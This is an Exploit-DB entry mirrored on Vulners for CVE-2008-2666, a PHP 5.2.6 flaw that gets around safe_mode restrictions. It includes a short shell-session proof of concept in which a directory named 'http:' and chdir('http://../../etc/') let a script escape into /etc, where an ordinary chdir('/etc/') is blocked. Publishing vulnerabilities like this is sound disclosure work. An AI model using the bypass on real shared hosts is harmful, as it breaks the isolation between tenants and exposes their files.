PHP 5.2.6 - 'chdir()' Function http URL Argument Safe_mode Restriction Bypass
🗓️ 18 Jun 2008 00:00:00Reported by Maksymilian ArciemowiczType 
exploitdb🔗 www.exploit-db.com👁 1728 Views
| Reporter | Title | Published | Views | Family All 38 |
|---|---|---|---|---|
 | PHP 5.x < 5.2.7 Multiple Vulnerabilities | 17 Nov 201400:00 | – | nessus |
| Mac OS X 10.5 < 10.5.7 Multiple Vulnerabilities | 18 Aug 200400:00 | – | nessus |
| FreeBSD : php -- input validation error in safe_mode (ee6fa2bd-406a-11dd-936a-0015af872849) | 5 Sep 200800:00 | – | nessus |
| GLSA-200811-05 : PHP: Multiple vulnerabilities | 17 Nov 200800:00 | – | nessus |
| Mac OS X 10.5.x < 10.5.7 Multiple Vulnerabilities | 13 May 200900:00 | – | nessus |
| PHP 5 < 5.2.7 Multiple Vulnerabilities | 5 Dec 200800:00 | – | nessus |
| Slackware 12.0 / 12.1 / current : php (SSA:2008-339-01) | 5 Dec 200800:00 | – | nessus |
 | CVE-2008-2666 | 18 Jun 200800:00 | – | circl |
 | CVE-2008-2666 | 20 Jun 200801:00 | – | cve |
 | CVE-2008-2666 | 20 Jun 200801:00 | – | cvelist |
10
source: https://www.securityfocus.com/bid/29796/info
PHP is prone to multiple 'safe_mode' restriction-bypass vulnerabilities. Successful exploits could allow an attacker to determine the presence of files in unauthorized locations; other attacks are also possible.
Exploiting these issues allows attackers to obtain sensitive data that could be used in other attacks.
These vulnerabilities would be an issue in shared-hosting configurations where multiple users can create and execute arbitrary PHP script code; in such cases, the 'safe_mode' restriction is expected to isolate users from each other.
PHP 5.2.6 is vulnerable; other versions may also be affected.
cxib# cat /www/wufff.php
<?
echo getcwd()."\n";
chdir("/etc/");
echo getcwd()."\n";
?>
cxib# ls -la /www/wufff.php
-rw-r--r-- 1 www www 62 Jun 17 17:14 /www/wufff.php
cxib# php /www/wufff.php
/www
Warning: chdir(): SAFE MODE Restriction in effect. The script whose uid
is 80 is not allowed to access /etc/ owned by uid 0 in /www/wufff.php on
line 3
/www
cxib#
---/EXAMPLE1---
---EXAMPLE2---
cxib# ls -la /www/wufff.php
-rw-r--r-- 1 www www 74 Jun 17 17:13 /www/wufff.php
cxib# ls -la /www/http:
total 8
drwxr-xr-x 2 www www 512 Jun 17 17:12 .
drwxr-xr-x 19 www www 4608 Jun 17 17:13 ..
cxib# cat /www/wufff.php
<?
echo getcwd()."\n";
chdir("http://../../etc/");
echo getcwd()."\n";
?>
cxib# php /www/wufff.php
/www
/etc
cxib#Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
27 Feb 2014 00:00Current
7.1High risk
Vulners AI Score7.1
CVSS 25
EPSS0.13923